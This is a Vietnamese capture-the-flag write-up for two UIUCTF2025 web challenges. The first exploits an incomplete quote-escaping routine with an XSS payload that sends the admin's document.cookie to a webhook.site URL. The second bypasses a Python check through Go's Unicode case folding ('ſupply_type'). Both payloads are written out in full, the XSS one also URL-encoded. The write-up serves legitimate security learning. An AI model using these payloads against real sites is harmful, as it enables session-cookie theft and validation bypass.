Post

Writeup Giải UIUCTF2025

Writeup Giải UIUCTF2025

UIUCTF2025

I. Ruler of the Universe

Khi ta mở sẽ thấy được giao diện như bên dưới

image.png

ngoài ra còn một trang Admin Bot

image1.png

thì cũng phần nào đoán được bài lab này liên quan đến chủ đề XSS Injection

kiểm tra source code ta thấy một đoạn code khả nghi sau

1
2
3
4
5
6
7
8
9
10
11
            <input
              id="message"
              name="message"
              type="text"
              class="w-full border border-green-400 bg-black text-green-400 px-2 py-1 text-xs"
              placeholder={
                crewMessage
                  ? `Update your message: ${crewMessage}`
                  : "Enter a message for the crew"
              }
            />

Ở đây, crewMessage được đưa vào làm giá trị cho một thuộc tính (prop/attribute). Ngoài ra cũng còn có một đoạn code phòng chống XSS nhưng chưa đủ chắc chắn như sau

1
2
3
4
5
6
7
8
9
10
11
12
  const propString = props
    ? Object.entries(props)
        .filter(([key]) => key !== "children")
        .map(([key, value]) => {
          if (typeof value === "boolean") {
            return value ? key : "";
          }
          return `${key}="${String(value).replace('"', "&quot;")}"`;
        })
        .filter(Boolean)
        .join(" ")
    : "";

đoạn code trên chỉ thay thế dấu " đầu tiên bằng &quot; nên ta vẫn có thể dễ dàng vượt qua nó

và ta sẽ khai thác lỗ hổng trên bằng payload như sau: " placeholder="Hello"><script>fetch('[https://webhook.site/fbdbb9e3-5a91-4964-83de-9b97f9a23bb4?flag=](https://webhook.site/fbdbb9e3-5a91-4964-83de-9b97f9a23bb4?flag=)' + document.cookie)</script> nhập payload vào phần Crew Message: trên trang web và kiểm tra

image2.png

ta thấy đã thành công tiêm thẻ script vào trang web

và việc cuối cùng ta phải làm là gửi trang web đã bị XSS này đến với Adminbot để lấy flag thôi

url_part gửi đến adminbot module/1?message="+placeholder%3D"Hello"><script>fetch%28%27https%3A%2F%2Fwebhook.site%2Ffbdbb9e3-5a91-4964-83de-9b97f9a23bb4%3Fflag%3D%27+%2B+document.cookie%29<%2Fscript>

Flag: uiuctf{maybe_i_should_just_use_react_c49b79}

II. Shipping Bay

Khi mở trang web ta được một trang web với chức năng tạo và xem đơn hàng

image.png

Thử tạo đơn hàng và sau khi đơn hàng được tạo thì không hiển thị trên trình duyệt. Quay trở lại burpsuite ta nhận được request và respone như sau:

image.png

Quay trở lại source code ta nhận thấy có hai điểm đáng chú ý sau. Đoạn code python thì không cho sử key supply_type có value là flag ⇒ nếu có thì chặn và không gửi đến processing_service của Golang

1
2
3
4
def create_shipment():
    shipment_data = {k.lower(): v for k, v in request.form.items()}
    if shipment_data['supply_type'] == "flag":
        return "Error: Invalid supply type", 400

Nhưng Golang lại cần điều kiện đó để trả ra flag

1
2
3
4
5
6
7
8
9
func sendShipment(shipment Shipment) string {
  if shipment.SupplyType == "flag" {
    if flag, exists := os.LookupEnv("FLAG"); exists {
      return flag
    }
    return "uiuctf{fake_flag}"
  }
  return "oops we lost the package"
}

Vậy để vượt qua thử thách trên? Vấn đề nằm ở sự khác biệt về chuẩn hóa Unicode của Python và xử lý Json của Go. Khi unmarshal vào struct, Go nội bộ xây chiến lược tìm field theo tên JSON và cho phép một dạng so khớp không phân biệt hoa-thường (casefold). Vậy việc cần làm ở đây là tìm kí tự có casefold để vượt qua rào cản để lấy được flag. Và mình dùng đoạn code sau đây để tìm kí tự đó:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package main

import (
  "fmt"
  "strings"
  "unicode"
)
func main() {
  s := "supply_type"
  runes := []rune(s)
  for pos, target := range runes {
    count := 0
    fmt.Printf("Vị trí %d, ký tự gốc %q (U+%04X)\n", pos, target, target)
    for cand := rune(0); cand <= unicode.MaxRune; cand++ {
      if !unicode.IsPrint(cand) || cand == target {
        continue
      }
      if strings.EqualFold(string(cand), string(target)) {
        fmt.Printf("  -> U+%04X %q\n", cand, cand)
        count++
      }
    }
    fmt.Println("  Total:", count)
  }
}

và kết quả trả về chỉ duy nhất kí tự s có casefold ſ

1
2
3
Vị trí 0, ký tự gốc 's' (U+0073)
  -> U+0053 'S'
  -> U+017F 'ſ'

Gửi payload đã chứa casefold để nhận flag origin=Earth+Station+Beta&destination=Mars+Colony+Alpha&supply_type=hello&ſupply_type=flag&weight=2.4+tons&departure=2000-02-01&arrival=2000-02-02&priority=Medium&vessel=Cargo+Hauler+IX

Vậy nó hoạt động như nào?

Khi ta gửi supply_type=hello&ſupply_type=flag thì sẽ được xử lý như sau:

  • lower() không casefold, không normalize do đó phân biệt supply_typeſupply_type nên thêm luôn vào dictonary hay key này. và supply_type=hello có value ≠ flag nên đoạn payload sẽ được gửi tiếp đến Go
  • Go khi map JSON key → struct field so khớp không phân biệt hoa-thường theo Unicode (case folding), nên coi ſs. Vậy khi Go nhận supply_type=hello và sau đó lại nhận được ſupply_type=flag thì casefold nó và ghi đè thành supply_type=flag và vượt qua được kiểm tra nên trả ra flag.

Flag: uiuctf{maybe_we_should_check_schemas_8e229f}

This post is licensed under CC BY 4.0 by the author.